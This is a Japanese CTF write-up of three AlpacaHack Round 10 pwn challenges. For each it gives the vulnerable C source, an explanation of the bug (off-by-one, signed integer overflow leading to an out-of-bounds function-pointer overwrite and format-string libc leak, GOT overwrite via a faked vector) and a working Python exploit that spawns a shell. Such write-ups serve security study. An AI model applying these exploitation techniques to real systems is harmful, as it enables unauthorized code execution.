AlpacaHack Round 10 (Pwn)
2完で95人中18位でした
2問目で謎に詰まりまくって時間を溶かし、3問目はコンテスト中に通せず… かなり悔いの残る結果になってしまった
Oyster
code: (c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>
#define INPUT_SIZE 0x20
/* Credential structure */
typedef struct {
long err;
char passwordINPUT_SIZE;
char usernameINPUT_SIZE;
} cred_t;
/* Root password */
char passwordINPUT_SIZE;
void getstr(const char *s, char *buf, size_t len) {
/* Get a line of input */
printf("%s", s);
if (fgets(buf, len, stdin) == NULL)
exit(1);
/* Remove trailing newline */
bufstrlen(buf)-1 = '\0';
}
int main(void) {
cred_t cred = { .err = -1 };
/* Ask username and password */
getstr("Username: ", cred.username, INPUT_SIZE);
getstr("Password: ", cred.password, INPUT_SIZE);
/* Authenticate */
if (strcmp(cred.username, "root") == 0) {
if (strcmp(cred.password, password) == 0)
cred.err = 0;
} else {
cred.err = -1;
}
if (cred.err < 0) {
puts("- Invalid username or password");
} else {
puts("+ Authenticated");
system("/bin/sh");
}
return 0;
}
__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
/* Create secure password */
if (getrandom(password, sizeof(password), 0) != sizeof(password))
exit(1);
for (size_t i = 0; i < 9; i++)
passwordi = 0x21 + ((unsigned char)passwordi % (0x7e - 0x21));
}
一瞬悩むが、よく見ると普通にギャグ問 passwordにnull文字一つを入力することでstrlen()の結果がゼロとなり、buf[strlen(buf)-1] = '\0';の部分でoff-by-oneが発生することによってcred.errを0にできる。
code: (python)
def exploit():
sendafter("name: ", b"root")
sendafter("word: ", b"\0")
return 0
Kangaroo
code: (c)
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SLOT 8
#define SIZE 0x48
char g_messagesSLOT*SIZE;
void (*fn_clear)(void*, size_t);
static void clear_message(void *buf, size_t len) {
memset(buf, 0, len);
}
off_t get_offset(const char *s) {
off_t offset;
ssize_t index;
printf("%s", s);
if (scanf("%ld", &index) != 1)
exit(1);
if (index >= LLONG_MAX / SIZE) {
puts("- Integer overflow");
exit(1);
}
offset = index * SIZE;
if (offset < 0 || offset >= sizeof(g_messages)) {
puts("- Invalid offset");
exit(1);
}
return offset;
}
void read_line(const char *s, char *buf, size_t n) {
printf("%s", s);
for (size_t i = 0; i < n; i++) {
if (read(0, buf + i, 1) != 1) exit(1);
if (bufi == '\n') {
bufi = '\0';
break;
}
}
}
int main() {
off_t offset;
int choice;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
fn_clear = clear_message;
puts("1. Read\n2. Write\n3. Clear");
while (1) {
printf("> ");
if (scanf("%d", &choice) != 1)
break;
switch (choice) {
case 1: // Read
offset = get_offset("Index: ");
read_line("Message: ", g_messages + offset, SIZE);
break;
case 2: // Write
offset = get_offset("Index: ");
printf("Message: %s\n", g_messages + offset);
break;
case 3: // Clear
fn_clear(g_messages, sizeof(g_messages));
break;
default:
return 0;
}
}
return 0;
}
code:_
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
コードを眺めると、get_offset関数が怪しい。if (index >= LLONG_MAX / SIZE)でオーバーフロー対策のバリデーションをしているが、ssize_tは符号付き整数なのでマイナスの値を入れることで回避できる。offsetの計算後は、g_messages + offsetのアドレスからSIZE分の長さの値を書き込むことができるので、get_offsetで帰ってくる値をSIZEの倍数以外の有効な値に設定できると、領域外参照によってfn_clearを書き換えることが可能となる。
ひとまずindex * SIZEがオーバーフローによって良い感じの値になる組み合わせを探したい。chatgptの協力も借りつつ計算すると、
index = (2 - (2 ^ 61)) / 9 = -256204778801521550
である時にindex * SIZEが16となることが分かるので、-256204778801521550+7をindexとして与えることによってoffsetはg_messages[7]+16の位置を指すことになり、末尾16バイト分でfn_clearの書き換えができるようになる。書き換えたfn_clearをfn_clear(g_messages, sizeof(g_messages));の部分で呼び出すことによって任意アドレスのコールが可能となった。
任意アドレスのコールが可能になったとはいえ、呼び出している部分によってRDIがg_messagesのアドレス、RSIがg_messagesのサイズにそれぞれ固定されているので、可能な操作が限られてくる。ここで結構悩んでしまったが、冷静に考えたらg_messages[0]にペイロードを書き込んだ上でprintf@pltを呼び出すことによってFSBでlibcがリークできる。
あとはg_messages[0]に/bin/shを書き込んでsystemを呼べばシェルが取れる。
code: (python)
def write(idx, m):
sendafter("> ", b"1")
sendafter(": ", str(idx).encode())
sendafter(": ", m)
def read(idx):
sendafter("> ", b"2")
sendafter(": ", str(idx).encode())
def call(addr):
write(-256204778801521550 + 7, b"a" * 0x38 + p64(addr))
sendafter("> ", b"3")
def exploit():
write(0, b"%9$p")
call(elf.plt"printf")
libc_base = eval(io.recvn(14)) - 0x2a1ca
print(f"{hex(libc_base)=}")
write(0, b"/bin/sh")
call(libc_base+libc.symbols"system")
return 0
Takahashi (upsolve)
適当にupsolveしてたらかなり簡単に解けてしまった なんでコンテスト中に通せなかったんですか?
code: (c)
// https://github.com/E869120/kyopro-tessoku/blob/main/codes/cpp/chap08/answer_A53.cpp
#include <iostream>
#include <queue>
#include <vector>
using namespace std;
int Q;
int QueryType100009, x100009;
priority_queue<int, vector<int>, greater<int>> T;
int main() {
// 入力
cin >> Q;
for (int i = 1; i <= Q; i++) {
cin >> QueryTypei;
if (QueryTypei == 1) cin >> xi;
}
// クエリの処理
for (int i = 1; i <= Q; i++) {
if (QueryTypei == 1) T.push(xi);
if (QueryTypei == 2) cout << T.top() << endl;
if (QueryTypei == 3) T.pop();
}
return 0;
}
void win() { std::system("/bin/sh"); } // Gift :)
code:_
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
急に競プロのコードが与えられて混乱してしまったが、pwn的視点で考えるとグローバル変数のxに制約以上の入力を与えることで後ろのTを書き換えることができる。priority_queueの内部がどうなっているのか知らなかったが、この辺のリファレンスを見ると内部実装としてデフォルトでvetcorを用いていることが分かる。
Partial RELROであるため偽のvectorを作成してpushすることでgotを書き換える方針が取れる。いい感じの関数を探すと、topクエリを呼び出した際に実行されている_ZNSolsEi@GLIBCXX_3.4が丁度良さそうである。
priority_queueの仕様上、vector内の値はpushやpopをする度に値の比較結果に応じて場所が変化してしまうが、一度しかpushしなければその値の位置は固定であるため、pushでwinを書き込んだ直後にtopクエリを実行させることで楽に指定アドレスをwinに書き換えて実行できる。
code: (python)
win = 0x401427
def push(val):
send(b"1 " + val)
def top():
send(b"2")
def pop():
send(b"3")
def exploit():
send(b"100018")
for _ in range(100013):
send(b"0")
push(str(win).encode())
top()
push(str(0x405050).encode()) # _ZNSolsEi@got - 0x8
push(b"0")
push(str(0x405058).encode())
return 0
#alpacahack